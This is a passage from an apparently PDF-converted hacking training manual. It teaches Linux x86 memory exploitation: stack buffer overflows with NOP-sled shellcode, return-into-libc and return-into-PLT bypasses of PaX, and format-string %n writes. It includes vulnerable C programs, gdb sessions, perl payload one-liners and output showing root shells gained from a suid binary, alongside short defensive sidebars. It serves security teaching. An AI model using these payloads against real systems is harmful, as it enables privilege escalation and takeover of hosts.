Registers, (eax, ebx, ecx, edx, eip, ebp, esp ...) have a size <strong>of</strong> 32 bits or 4 bytes on Linux/X86<br />
platforms. Three <strong>of</strong> these are <strong>of</strong> a particular interest to us.<br />
EIP (Instruction Pointer): In this register is saved the address where the program<br />
must jump to in the .text at the output <strong>of</strong> a subroutine, that is during the call to<br />
ret.<br />
ESP (Stack pointer): This register always points to the end <strong>of</strong> the stack (we will talk<br />
about this soon).<br />
EBP When a new subroutine is called, new elements will be piled on top <strong>of</strong> the stack<br />
and so the ESP will be modified. So we save the old value <strong>of</strong> ESP in EBP, in<br />
order to re-attribute its previous value to the Stack Pointer during the call to RET.<br />
Let us check the state <strong>of</strong> registers during the call to the func function in our previous example:<br />
Stack level 0, frame at 0xb64950e8:<br />
eip = 0x804834a in func; saved eip 0x804836d<br />
called by frame at 0xb64950f8<br />
Arglist at 0xb64950e8, args:<br />
Locals at 0xb64950e8, Previous frame's sp in esp<br />
Saved registers:<br />
ebp at 0xb64950e8, eip at 0xb64950ec<br />
We can see that the EIP saved is: saved eip 0x804836d, which is the expected address.<br />
The <strong>Hack</strong>ademy DMP -141/209- SYSDREAM
D) The Stack<br />
When arguments are passed on to a function, or when local variables are declared in subroutines,<br />
these are defined in a memory zone called stack. This zone does not have a fixed size and it is<br />
especially used in order to store variables or to save registers. It functions on the LIFO model,<br />
meaning that elements are piled on top <strong>of</strong> each other as a pile <strong>of</strong> plates would be. The last element<br />
piled on top will be the first one to be withdrawn.<br />
As an assembler, to pile an element, we use the PUSH function. In order to withdraw an element from<br />
the pile, we PULL it. It should also be noted that on linux/86, we can use little endian, whereby<br />
elements are piled towards the bottom, and always on an alignment <strong>of</strong> 4 bytes.<br />
During a call, we are first going to Push on the pile the arguments passed to the function to which we<br />
jump. Then, a backup <strong>of</strong> the EIP, that is the address <strong>of</strong> the code section onto which we will jump at the<br />
output <strong>of</strong> the subroutine, will be Pushed. The stackpointer register, the ESP, always points towards the<br />
top <strong>of</strong> the pile. The EBP register always has the value <strong>of</strong> the ESP before the call to the subroutine, in<br />
order to have the Stack Pointer find its initial position at the output <strong>of</strong> the subroutine. But before<br />
copying the last ESP into EBP, we will save the present EBP, that we will also push onto the pile. Any<br />
routine will thus start with the instructions:<br />
push %ebp<br />
mov %esp,%ebp<br />
Finally, all the local variables declared in the subroutine will be in turn pushed onto the Stack.<br />
In the opposite case, at the end <strong>of</strong> the subroutine, we will restore the value <strong>of</strong> the first ESP before the<br />
call to the specified routine; this value having been saved in the EBP register, then we will restore the<br />
old value <strong>of</strong> EBP, whose backup has been pushed onto the stack. Finally, we will take <strong>of</strong>f the following<br />
element from the pile, this being the EIP backup, in the EIP register, before jumping onto it in order to<br />
return the address <strong>of</strong> the code section following the CALL <strong>of</strong> the calling routine. So the last instructions<br />
<strong>of</strong> a subroutine will always be:<br />
leave<br />
ret<br />
that are macros for:<br />
mov %ebp,%esp<br />
pop %ebp<br />
pop %eip<br />
jmp %eip<br />
The <strong>Hack</strong>ademy DMP -142/209- SYSDREAM
Let us study the representation <strong>of</strong> the pile during the call to the vuln subroutine <strong>of</strong> the following<br />
program:<br />
// vuln1.c<br />
int vuln(char *arg) {<br />
char buffer[512];<br />
int i;<br />
strcpy(buffer, arg);<br />
return 1;<br />
}<br />
int main (int argc, char *argv[]) {<br />
if (argc < 2) exit(0);<br />
vuln(argv[1]);<br />
exit(1);<br />
}<br />
This is how the various elements <strong>of</strong> the func subroutine will be pushed onto the pile:<br />
E) Using gdb<br />
gdb is a debugger, and among other things it will allow you to check the state <strong>of</strong> registers and the<br />
contents <strong>of</strong> memory at any moment <strong>of</strong> the process execution. This tool is above all destined to<br />
developers so that they can find the bugs in their programs: indeed, looking for bugs is just what we<br />
are talking about.<br />
gdb is used only in command line, but remains the standard on Linux.<br />
Usage<br />
You will start gdb simply by calling it or by passing on to it as an argument the name <strong>of</strong> the file to<br />
debug. That way you will have access to the gdb prompt that will allow us to follow the evolution <strong>of</strong> the<br />
program memory. Here is a list <strong>of</strong> basic commands:<br />
The <strong>Hack</strong>ademy DMP -143/209- SYSDREAM
$gdb<br />
(gdb) r arg
The program segfaulted when trying to jump to the 0x41424344 address, which is the hexadecimal<br />
representation <strong>of</strong> the character chain “DCBA” (remember that in little endian the stack is filled from the<br />
bottom up). We were thus able to force the program to jump to a memory address arbitrarily chosen<br />
during the output <strong>of</strong> the subroutine. The idea is to make the program jump onto an asm instruction<br />
chain injected in memory to execute a /bin/sh. This instruction chain is usually called a shellcode.<br />
There are a great number <strong>of</strong> shellcodes on the Internet, especially for Linux, and to execute any type<br />
<strong>of</strong> arbitrary command (shell, shell bind, reverse connection, covert channel, ...) The simplest way to<br />
inject our shellcode in memory is <strong>of</strong> course to pass it on as an argument to the vulnerable binary, so<br />
that it will find itself in the buffer that will be overflowed.<br />
There is however one last problem we must face. For the program to execute an arbitrary code, it is<br />
necessary to overwrite the EIP with the exact address in memory where the shellcode starts (generally<br />
at the beginning <strong>of</strong> the buffer). Of course, it is very easy to obtain this information during an attack in<br />
memory by dumping the memory in order to find the buffer address. However, when attacking in<br />
remote, it is <strong>of</strong>ten impossible to dump the memory and determine the address <strong>of</strong> the buffer. The<br />
margin <strong>of</strong> error seems to be very much reduced.<br />
It is possible to increase this margin, by having a series <strong>of</strong> NOP instructions (0x90) precede the<br />
shellcode (the important thing being that the number <strong>of</strong> NOP + the shellcode size < 512). These NOP<br />
instructions mean: Don't do anything, go to the next instruction. We will therefore jump from byte to<br />
byte until we fall onto our shellcode's first byte, which will then be executed normally. This is what the<br />
character chain must look like passed on as a vuln1 argument:<br />
To generate our character chain with shellcode, we are going to use the xploit.c shellcode generator,<br />
which you will be able to download from http://www.thehackademy.net.<br />
Options to pass on to it:<br />
-b size specify the size <strong>of</strong> the chain used for the overflow<br />
-x addr You can specify an address that points directly to the NOP<br />
-o <strong>of</strong>fset You can add (or deduct) a decimal number to the return address to be used in order to<br />
brute force this return address (that is to vary the address used until the right one is<br />
found).<br />
-E VAR Specify the name <strong>of</strong> an environment variable into which we will store the character<br />
chain which will be passed on as argument. That way, we will be able to use this<br />
variable to pass it on directly to the vulnerable program.<br />
The <strong>Hack</strong>ademy DMP -145/209- SYSDREAM
All we have to do now is inject a string containing the shellcode to execute and to overwrite the EIP<br />
through the address found previously:<br />
[NOP]...[NOP][SHELLCODE][0xbffffb10]<br />
We are going to see how to operate the vuln1.c program whose bit suid root will have been activated:<br />
$chown root.root vuln1<br />
$chmod 4755 vuln1<br />
Let us use xploit.c to generate the chain (destined to operate the program) into an environment<br />
variable, that you will give as an argument to the vulnerable suid root. We will use it twice in a row, first<br />
to inject the character chain containing the shellcode in order to determine the buffer address with the<br />
gdb, then to inject the same string by overwriting the EIP through the address found.<br />
First, we overwrite EIP with an address by default.<br />
$./xploit -b 600 -E RET<br />
We are going to look for an address pointing to the NOP preceding the shellcode with the help <strong>of</strong> gdb.<br />
xdream@Laptop:/tmp$ gdb vuln1<br />
(gdb) r $RET<br />
Starting program: /tmp/vuln1 $RET<br />
(no debugging symbols found)...(no debugging symbols found)...<br />
<strong>Pro</strong>gram received signal SIGSEGV, Segmentation fault.<br />
0xbffffade in ?? ()<br />
We have redirected the program execution towards the address by default that does not contain the<br />
shellcode.<br />
Let us dump the memory from the address pointed by ESP (the top <strong>of</strong> the pile), while we are looking<br />
for the injected chain:<br />
(gdb) x/500x $esp<br />
0xbffff6c3: 0xfaafb8bf 0xf6cdbfff 0xcff8bfff 0x00004014<br />
0xbffff6d3: 0xfffab800 0xfffab8bf 0xfffab8bf 0xfffab8bf<br />
...<br />
0xbffff843: 0x00000000 0x36383669 0x6d742f00 0x75762f70<br />
0xbffff853: 0x00316e6c 0x90909090 0x90909090 0x90909090<br />
0xbffff863: 0x90909090 0x90909090 0x90909090 0x90909090<br />
0xbffff873: 0x90909090 0x90909090 0x90909090 0x90909090<br />
0xbffff883: 0x90909090 0x90909090 0x90909090 0x90909090<br />
The <strong>Hack</strong>ademy DMP -146/209- SYSDREAM
We can determine that at address 0xbffff863 are the NOPs preceding our shellcode. We are going to<br />
overwrite EIP with this new value:<br />
xdream@Laptop:/tmp$ ./xploit -b 600 -E RET -x 0xbffff863<br />
Addr: 0xbffffe03<br />
xdream@Laptop:/tmp$ ./vuln1 $RET<br />
sh-2.05b# id<br />
uid=1015(xdream) gid=1015(xdream) euid=0(root) groups=1015(xdream),29<br />
(audio)<br />
sh-2.05b#<br />
The newly obtained shell has an activated bit suid root, we can therefore execute any action under the<br />
root count on the system.<br />
<strong>Security</strong><br />
The main cause <strong>of</strong> vulnerability <strong>of</strong> programs is the use <strong>of</strong> certain dangerous functions that do<br />
not check the copied data size in a destination buffer. So the following functions must be<br />
banned: strcpy(), strcat(), strcmp() ... and replaced with their equivalent strn*()<br />
Secondly, on Linux, you can protect your system by patching your kernel with grsecurity.<br />
Among others, it implements pAx, which makes the stack non executable. Its installation will<br />
be detailed later on.<br />
G) Return into glibc and return into glibc<br />
Fonctioning <strong>of</strong> pAx<br />
The standard exploitation <strong>of</strong> a stack overflow as seen in the previous section implies that we jump on a<br />
shellcode that resides in memory. So the shellcode must be copied in a zone that is accessible in<br />
execution. That is the case by default for all <strong>of</strong> Linux. PAX makes this zone non executable. That is<br />
also the case in the data section or in others into which we could inject the shellcode. We will see that<br />
it is possible to bypass this local protection by using Return Into glibc.<br />
Exploitation<br />
There remains one notion to introduce in the execution <strong>of</strong> memory programs. They dynamically charge<br />
in memory the library or libraries that they need. We can know all the libraries dynamically linked by a<br />
binary thanks to the Idd tool:<br />
$ldd /bin/ls<br />
librt.so.1 => /lib/librt.so.1 (0x40022000)<br />
libc.so.6 => /lib/libc.so.6 (0x40034000)<br />
libpthread.so.0 => /lib/libpthread.so.0 (0x40162000)<br />
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)<br />
The <strong>Hack</strong>ademy DMP -147/209- SYSDREAM
These libraries have a certain number <strong>of</strong> pre-programmed functions, such as the functions print, write,<br />
read, ... that are compiled in libc6. In order to bypass the non execution <strong>of</strong> the stack, we are simply<br />
going to jump on the functions contained in libc6. So we are going to overwrite the EIP backup on the<br />
stack with the function address that is <strong>of</strong> interest to us in libc6. But in doing this, we are going to call a<br />
new function. So we have to save a fake EIP as a return address (we will use the address <strong>of</strong> a call to<br />
exit() in order to exit properly) that we will forward from the argument to have executed to the<br />
requested function.<br />
Which function are we going to use? The system() function, that executes what is sent to it as an<br />
argument by pushing it onto the pile, seems to be the best one .So we will have to obtain its address<br />
through which we will overwrite the EIP, then the address <strong>of</strong> the exit function, used as the next return<br />
address at the output <strong>of</strong> the system function, and finally the address in memory <strong>of</strong> a /bin/sh string that<br />
we will use as a system() argument.<br />
Practical use<br />
Let us first determine the addresses <strong>of</strong> the system and exit functions thank to gdb:<br />
xdream@Laptop:/tmp$ gdb vuln1<br />
We can then continue by placing a breakpoint during the call to the vulnerable subroutine and then<br />
starting the program (if we do not place this breakpoint, we will not be able to determine the system<br />
and exit addresses):<br />
(gdb) b vuln<br />
Breakpoint 1 at 0x804837d<br />
(gdb) r AAAA<br />
Starting program: /tmp/vuln1 AAAA<br />
(no debugging symbols found)...(no debugging symbols<br />
found)...<br />
Breakpoint 1, 0x0804837d in vuln ()<br />
The <strong>Hack</strong>ademy DMP -148/209- SYSDREAM
The we can look in libc6 for the addresses <strong>of</strong> the two functions that are <strong>of</strong> interest to us:<br />
(gdb) x system<br />
0x40062980 : 0x83e58955<br />
(gdb) x exit<br />
0x4004da30 : 0x57e58955<br />
We must still determine the address <strong>of</strong> a /bin/sh in memory:<br />
$./srch<br />
"/bin/sh" found at: 0x4014273d<br />
All we have to do now is to overwrite EIP with the addresses found:<br />
0x40062980 <br />
0x4004da30 <br />
Do not forget that in little endian, we fill the stack, and therefore the addresses as well, from the bottom<br />
up:<br />
$./vuln1 `perl -e 'print "A" x 524 . "\x80\x29\x06\x40" . "\x30\x04\xda\x30" . "\x3dd\x27\x14\x40"'`<br />
sh-2.05b#<br />
H) Return into .PLT<br />
PaX and the randomization <strong>of</strong> memory<br />
A second protection has been put into place in order to prevent the problem <strong>of</strong> bypassing through<br />
return into glibc. The idea is to randomize the basic address or libc and to map the other lib into<br />
memory. As the functions are always defined in relative value, that is related to an <strong>of</strong>fset, that we will<br />
add to the basic libc address. We can no longer determine the address <strong>of</strong> the library which will be<br />
randomized each time, so we can longer determine the addresses <strong>of</strong> the functions we are interested<br />
in. So we will use a Return into PLT type exploitation to bypass this protection.<br />
Exploitation<br />
The PLT Section: Each function that has previously been called in the program will be referenced in<br />
this section. Each entry will make it possible, among other things, to jump onto the .got address<br />
containing the absolute address <strong>of</strong> the called function.<br />
If a function we are interested in has been previously called in the program, it will be referenced in the<br />
PLT. As this section is never randomized in memory, we can simply determine the function's entry in<br />
the .PLT in order to jump onto this address, which will make us jump on to its address in libc6.<br />
The <strong>Hack</strong>ademy DMP -149/209- SYSDREAM
There remains one last problem, however. We need the string “/bin/sh” address that we are going to<br />
look for in libc6, and it is always randomized. It <strong>of</strong>ten happens that the values entered by the user are<br />
stored into global variables. These variables are stored in the .data section, and this section is not<br />
randomized in memory either. If we manage to determine the address <strong>of</strong> a global buffer into which we<br />
can inject the “/bin/sh” string, then we will be able to pass on its address as an argument from the call<br />
to system via .plt.<br />
Here is the program which we will use as an example:<br />
// vuln2.c<br />
char data[512];<br />
int vuln (char *arg) {<br />
char buffer[512];<br />
strcpy(buffer, arg);<br />
printf("\nbuffer !!! %s\n", buffer);<br />
return 1;<br />
}<br />
int main(int argc, char *argv[]) {<br />
if (argc < 3) exit(0);<br />
strcpy(data, argv[2]);<br />
printf("variable data:\nMy address !!! %p\nMy contents !!! %s\n", data, data);<br />
vuln(argv[1]);<br />
exit(0);<br />
}<br />
We copy the contents <strong>of</strong> the second argument into the global variable, and we will place the “/bin/sh”<br />
string there. The buffer address containing it, declared in .data, is not randomized:<br />
xdream@Laptop:/tmp$ ./vuln2 AAAA /bin/sh<br />
variable data:<br />
My address !!! 0x8049780<br />
My contents !!! /bin/sh<br />
buffer !!! AAAA<br />
xdream@Laptop:/tmp$ ./vuln2 AAAA /bin/sh<br />
variable data:<br />
My address !!! 0x8049780<br />
My contents !!! /bin/sh<br />
vuln2 vuln2.c<br />
buffer !!! AAAA<br />
xdream@Laptop:/tmp$<br />
The <strong>Hack</strong>ademy DMP -150/209- SYSDREAM
We can also see in the sources a call to the system function, so this function is referenced into the .<br />
PLT. We can then overwrite the EIP backup on the stack with the system and exit address in the<br />
stack, and pass on as a system argument the buffer address declared as global, in order to have it<br />
execute the /bin/sh command.<br />
Let us determine the jump onto system and onto exit address in the .plt thanks to gdb:<br />
xdream@Laptop:/tmp$ gdb vuln2<br />
We start by disassembling the vuln function to look for the address onto which the program can jump<br />
during its call to system:<br />
(gdb) disas vuln<br />
Dump <strong>of</strong> assembler code for function vuln:<br />
0x80483e4 : push %ebp<br />
0x80483e5 : mov %esp,%ebp<br />
0x80483e7 : sub $0x218,%esp<br />
0x80483ed : movl $0x80485e0,(%esp,1)<br />
0x80483f4 : call 0x80482c4
Let us try to exploit this program with this string created in this way:<br />
$./vuln2 `perl -e 'print "A" x 524 . "\xc4\c82\x04\x08" . "\xb4\x82\x04\x08" . "\x80\x97\x04\x08"'` /bin/sh<br />
xdream@Laptop:/tmp$ ./vuln2 `perl -e 'print "A" x 524 . "\xc4\x82\x04\x08" . "\xb4\x82\x04\x08" .<br />
"\x80\x97\x04\x08"'` /bin/sh<br />
variable data:<br />
My address !!! 0x8049780<br />
My contents !!! /bin/sh<br />
#DD# E gconfd-xdream ssh-nanXM835 vuln2<br />
AZ H netperf.debug tt xmms_xdream.0<br />
DD R orbit-xdream v xploit<br />
DRE Y session_mm_apache0.sem vuln1<br />
buffer !!!<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAÄ´<br />
sh-2.05b#<br />
sh-2.05b# exit<br />
Once again, we have root passed on the system.<br />
Hopefully, we have demonstrated that security systems at the kernel level can be a good thing, but like<br />
anything else, they are not nearly enough to totally secure a system. We have seen that bypassing<br />
these protections on a potentially vulnerable system can be trivial. So it is essential to always have<br />
one's s<strong>of</strong>tware up to date, and <strong>of</strong> course to multiply the chroot, the suppression <strong>of</strong> most suid<br />
roots, in order to prevent a hacker's elevation <strong>of</strong> status on a compromised system. Installing log and<br />
internal surveillance tools, <strong>of</strong> the hids type, are essential to detect the attacks <strong>of</strong> a would-be hacker.<br />
We will return to this matter in the last part <strong>of</strong> this course.<br />
<strong>Security</strong><br />
As said previously, installing the grsecurity patch on a Linux system is the best protection<br />
possible. You can download it from http://www.grsecurity.org. Download the version<br />
corresponding to the version <strong>of</strong> your kernel, and copy it into the directory, where it will be<br />
decompressed:<br />
patch -p0 < grsecurity-xxx.patch<br />
A new option called grsecurity is then available. You can select the options corresponding to the<br />
stack protection and the randomization <strong>of</strong> addresses in the pAx section.<br />
The <strong>Hack</strong>ademy DMP -152/209- SYSDREAM
3. String Format<br />
Presentation<br />
String formats, more commonly called format chains, are variables <strong>of</strong> the character chain type<br />
destined to undergo a certain formatting or data arranging in C language. This type <strong>of</strong> chain can cause<br />
a number <strong>of</strong> problems; it can compromise the execution flow <strong>of</strong> a vulnerable program, this is what is<br />
called a bug format or a format bug.<br />
Origins<br />
Bug formats are quite <strong>of</strong>ten the result <strong>of</strong> a bad usage <strong>of</strong> printf type functions (printf, fprintf, sprintf,<br />
snprintf). A program can be compromised from the moment a format chain can be controlled by the<br />
user. This type <strong>of</strong> vulnerability is therefore due to a programming error, just as buffer overflow type<br />
vulnerabilities can be, for example.<br />
Functioning <strong>of</strong> printf type functions.<br />
Let us now analyse the functioning <strong>of</strong> printf type functions. To do this, we can use the following<br />
example:<br />
void main(){<br />
int i = 3;<br />
float f = 2.5;<br />
char chain[]="character chain";<br />
}<br />
printf("i = %d, f = %f, chain = %s\n",i,f,chain);<br />
return;<br />
bash# ./prog<br />
i = 3, f = 2.50000, chain = character chain.<br />
bash#<br />
From an assembler point <strong>of</strong> view, printf function arguments are placed on the pile:<br />
push chain<br />
push f<br />
push i<br />
push "i = %d, ..."<br />
call printf<br />
The <strong>Hack</strong>ademy DMP -153/209- SYSDREAM
printf type functions are functions with a varying number <strong>of</strong> arguments. So the number <strong>of</strong> arguments is<br />
deduced from the format chain. When it has arrived in the printf function, the format chain is recovered<br />
(it is the first argument recovered on the pile). Then this format chain is browsed. For each format<br />
indicator ('%d', '%x', '%s', ...), an argument is recovered on the top <strong>of</strong> the pile. In our example, 4<br />
arguments have been provided to to the printf function. So the format chain will be recovered on the<br />
pile. Then, for each format indicator, (%d, %f et %s), an argument will be extracted from the pile (pop<br />
assembler instruction).<br />
The vulnerability<br />
Let us now imagine that the user can control this format chain. A vulnerable program would look as<br />
follows:<br />
void main(int ac, char *av[]){<br />
if( av[1] )<br />
printf(av[1]);<br />
printf("\n");<br />
return;<br />
}<br />
bash# ./prog lol<br />
lol<br />
bash#<br />
Up to this point, everything is normal. The program simply displays the chain passed on as an<br />
argument. Let us now place format indicators in our chain.<br />
bash# ./prog '%x %x %x'<br />
589238 0 589238<br />
#bash<br />
What is happening? The printf function will try to recover the arguments on the pile according to the<br />
format indicators, but none have been given to it. We will therefore be able to explore the whole pile.<br />
So we can already recover a certain number <strong>of</strong> informations on the program memory (memory leak).<br />
Exploitation<br />
At first view, we might think that printf type functions only enable us to read information. Well, that is<br />
not the case. There is a little-known format indicator that can enable us to write to any given address,<br />
the '%n' indicator. This indicator gives the number <strong>of</strong> characters written (or that should have been<br />
written) up to it and must be placed in the argument to which it corresponds. The argument<br />
corresponding to '%n' must be an integer pointer.<br />
void main(){<br />
int i;<br />
printf("foobarfoo%nbarbar\n", &i);<br />
printf("i = %d\n", i);<br />
}<br />
bash# ./prog<br />
foobarfoobarbar<br />
i = 9;<br />
bash#<br />
The <strong>Hack</strong>ademy DMP -154/209- SYSDREAM
So when the '%n' indicator is encountered, 9 characters have already been written (it is the “foobarfoo”<br />
chain). The value 9 is thus stored at the address <strong>of</strong> argument i. So we realize that it is possible for us<br />
to write a value at our address <strong>of</strong> choice. With the elements we have, it is possible to recover enough<br />
information to know where to write in order to hijack the execution flow <strong>of</strong> a vulnerable program.<br />
Exploitation example.<br />
We have the following vulnerable program:<br />
// ----vuln.c----<br />
#include <br />
void func(char *str)<br />
{<br />
printf(str);<br />
}<br />
int main(int ac, char *av[])<br />
{<br />
char buf[200];<br />
buf[read(0, buf, 200)]=0;<br />
func(buf);<br />
printf("Bye bye !\n");<br />
}<br />
This very simple program reads a character chain on the standard entry and displays the chain via the<br />
printf function. First <strong>of</strong> all, we need to recover this information.<br />
bash#./vuln<br />
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %X<br />
AAAA 447470 bffff928 c8 bffff850 520f23 bffff928 80483d5 bffff850 bffff850 c8 464077 41414141 20782520<br />
25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825<br />
Bye bye !<br />
bash#<br />
We place the “AAAA” chain at the beginning <strong>of</strong> our format chain in order to easily determine its<br />
memory location. We can notice that the 12 th “%x” generates the display <strong>of</strong> the value 41414141, i.e.<br />
the hexadecimal equivalent <strong>of</strong> our AAAA chain. We can also notice the value bffff850, which<br />
corresponds to the first argument <strong>of</strong> the printf() function. So this value is the format chain address in<br />
memory. With each couple (address, contents), we can know the address <strong>of</strong> each element <strong>of</strong> the pile.<br />
We therefore know that the value 41414141 is located at address 0xbffff850. We know that the”%n”<br />
indicator takes as an argument a pointer, so we are going to use the format chain itself to provide the<br />
address where we want to write. In order to move in the arguments <strong>of</strong> the format chain, it is possible to<br />
format our indicator as follows:<br />
%12$x, this means that the 12 th argument will be used. This formatting can also be used in the case <strong>of</strong><br />
writing via '%n'.<br />
The <strong>Hack</strong>ademy DMP -155/209- SYSDREAM
ash#./vuln<br />
AAAA %12$x<br />
AAAA 41414141<br />
Bye bye !<br />
bash#<br />
Let us now try to write a value anywhere.<br />
bash#./vuln<br />
AAAA %12$n<br />
Segmentation error<br />
bash#<br />
The program crashes. What happened? Well, we moved to the 12 th argument, that is at the location in<br />
the format chain “AAAA%12$n”, and we tried to write via '%n' the number <strong>of</strong> characters already<br />
written. '%n' expecting a pointer will thus translate AAAA (0x41414141) as if it were a memory address<br />
and it will try to write onto it the value 5 at address 0x41414141. This address not being mapped in<br />
memory, the program ends with a segmentation error. So we can write the number <strong>of</strong> characters<br />
displayed at the memory location <strong>of</strong> our choice. For example, if we want to write 0x00006666 at<br />
address0xbffff850, we can proceed this way:<br />
bash# printf %d 0x00006666<br />
26214<br />
bash# echo `printf "\x50\xf8\xff\xbf%%.26210x"`%12\$n > file<br />
bash# ./vuln < file<br />
00000000[...]000000<br />
Bye bye !<br />
bash#<br />
So we have written 0x6666, that is 26214 at address 0xbffff850. The program did not crash because <strong>of</strong><br />
the reference address 0xbffff850 <strong>of</strong> our format chain, whose later modification does not have any<br />
repercussions on our program.<br />
First <strong>of</strong> all, we are going to try to determine an address that would be interesting to overwrite in order<br />
to hijack the program execution flow. To do this, we need a function pointer to be called after our<br />
format chain has been treated.<br />
We can for example try to hijack a function <strong>of</strong> the dtors section. The functions contained in a program's<br />
dtors section are the functions that are called at the end <strong>of</strong> a program (after the function's main). We<br />
can also try to overwrite an eip (instruction register) saved in the pile or we can also try to hijack the<br />
address <strong>of</strong> a GOT (Global Offset Table) function.<br />
The <strong>Hack</strong>ademy DMP -156/209- SYSDREAM
Using dtors.<br />
bash# objdump -s -j .dtors vuln<br />
vuln: file format elf32-i386<br />
Contents <strong>of</strong> .dtors section:<br />
80495ac ffffffff 00000000 ........<br />
bash#<br />
We are going to overwrite the value 00000000 from which we easily deduce the address :<br />
0x080495ac + 4 = 0x080495b0.<br />
bash# echo `printf "\xb0\x95\x04\x08%%.26210x"`%12\$n > file<br />
bash# ./vuln < file<br />
0000[...]00000<br />
Bye bye !<br />
Segmentation error (core dumped)<br />
bash#<br />
When opening the core file, gdb shows us this:<br />
<strong>Pro</strong>gram terminated with signal 11, Segmentation fault.<br />
#0 0x00006666 in ?? ()<br />
So the program tried to execute the instructions contained at address 0x00006666, and we hijacked<br />
the program's execution flow successfully.<br />
The “Bye bye!” chain was displayed because, as we said, the functions contained in the .dtors section<br />
are executed after the main function.<br />
Overwriting a saved eip.<br />
bash# ./vuln<br />
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x<br />
AAAA 447470 bffff928 c8 bffff850 520f23 bffff928 80483d5 bffff850 bffff850 c8 464077 41414141<br />
20782520 25207825 78252078 20782520 25207825 78252078 20782520<br />
Bye bye !<br />
bash#<br />
Seeing how data is placed, we can guess that 0xbffff850 is our format chain's address (the parameter<br />
provided at the printf function). Let us try to find what could correspond to a saved eip: we find<br />
0xbffff928 and 0x080483d5. This could be a saved $ebp and $eip couple. With these elements in our<br />
possession, we can determine the address <strong>of</strong> this saved eip, as we know that 0xbffff850 points to<br />
41414141. After calculating it, we can conclude that the saved eip's address is: 0xbffff850 – 20 bytes =<br />
0xbffff83c. Let's try to overwrite this value:<br />
bash# echo `printf "\x3c\xf8\xff\xbf%%.26210x"`%12\$n > file<br />
bash# ./vuln < file<br />
0000[...]0000<br />
Segmentation error (core dumped)<br />
bash#<br />
As in the previous example, we use gdb on the core file to determine what caused the segmentation<br />
error. We can see that the program crashed because the eip is equal to 0x00006666. So we have<br />
overwritten a saved eip, following the same principle as buffer overflows. From the moment we control<br />
the instruction register, the methods used to execute code are the same as in a buffer overflow. We<br />
could place our shellcode in environment or in vulnerable program parameter, or we could even create<br />
a shellcode wherever we choose to by using a format chain (since we can write what we want, where<br />
we want).<br />
The <strong>Hack</strong>ademy DMP -157/209- SYSDREAM
Summary and display problem<br />
In short, exploiting a format bug consists <strong>of</strong> the following steps:<br />
1) Determining the location <strong>of</strong> our format chain<br />
2) Determining the memory address where we wish to write (dtors, saved eip, ...).<br />
3) Determining the value to write (shellcode or other address).<br />
4) Creating the format chain, in the form <strong>of</strong>:<br />
[address to overwrite]%.[value to write-4]x%[location <strong>of</strong> the chain]$n<br />
5) Sending the format chain to the vulnerable program.<br />
<strong>Pro</strong>blem : the number <strong>of</strong> characters to display<br />
Most <strong>of</strong> the time, we will try to replace a memory address (function pointer, saved eip) with an address<br />
<strong>of</strong> our choice. If we wish to write an address such as 0xbffff850, for example, the total number <strong>of</strong><br />
characters to display will be 3,221,223,504! This is <strong>of</strong> course huge, and the time it will take to display<br />
will be very long. To solve this problem, we are going to write our address in two parts. We are going<br />
to write the 4 bytes <strong>of</strong> the address 2 by 2. In our example, we will write 0xbffff then 0xf850. We will first<br />
write the part with the lower value, then the part with the higher one. So our format chain will be written<br />
in the form:<br />
[A][A2]%.[VAL1 – 8]x%[O]$n%.[VAL2 – VAL1 – 8]x%[O + 1]$n<br />
if VAL1 < VAL2<br />
or<br />
[A2][A]%.[VAL2 – 8]x%[O]$n%.[VAL1 – VAL2 – 8]x%[O + 1]$n<br />
if VAL1 > VAL2<br />
with :<br />
A : Address to overwrite<br />
A2 : Address to overwrite +2<br />
O : Location <strong>of</strong> the chain (number <strong>of</strong> %x necessary to the display <strong>of</strong> our format chain).<br />
VAL1 : Value to be written in part 1<br />
VAL2 : Value to be written in part 2<br />
In our example, if we want to write 0xbffff850 at the address 0x080495b0 and the gap <strong>of</strong> our format<br />
chain is 12, we write the following format chain:<br />
bash# printf %d 0xbfff<br />
49151<br />
bash# printf %d 0xf850<br />
63568<br />
bash# echo `printf "\xb0\x95\x04\x08\xb2\x95\x04\x08%%.49143x%%12\$n%%.14409x%%<br />
13\$n"` > file<br />
The file named “file” will then contain our format chain. All we will then have to do is to use the<br />
contents <strong>of</strong> this file to exploit the vulnerable program and that will be it!<br />
The <strong>Hack</strong>ademy DMP -158/209- SYSDREAM
<strong>Security</strong><br />
The only solution here is to never trust data controlled by a user. printf type functions must also<br />
be used carefully. When a function takes as an argument a format chain, the latter must only be<br />
formatted by the program itself and not the user.<br />
Example :<br />
One never writes:<br />
sprintf(buf, argv[1]);<br />
but one writes:<br />
sprintf(buf, "%s", argv[1]);<br />
4. Race Condition<br />
A) Presentation<br />
Even if they are among the least-known, “race conditions” are some <strong>of</strong> the most common bugs found<br />
on s<strong>of</strong>tware.<br />
These vulnerabilities are extremely hard to identify and therefore to correct. Indeed, a program<br />
functioning very well can host several <strong>of</strong> these bugs in a “silent” manner, in the sense that there is no<br />
malfunctioning <strong>of</strong> the program, or at least not in a systematic way, but this can still be exploited in a<br />
malicious way.<br />
Most <strong>of</strong> the time, “race conditions” decide how robust the s<strong>of</strong>tware is. The competing access to data<br />
can cause application instability without any other consequences. However, there are many times (by<br />
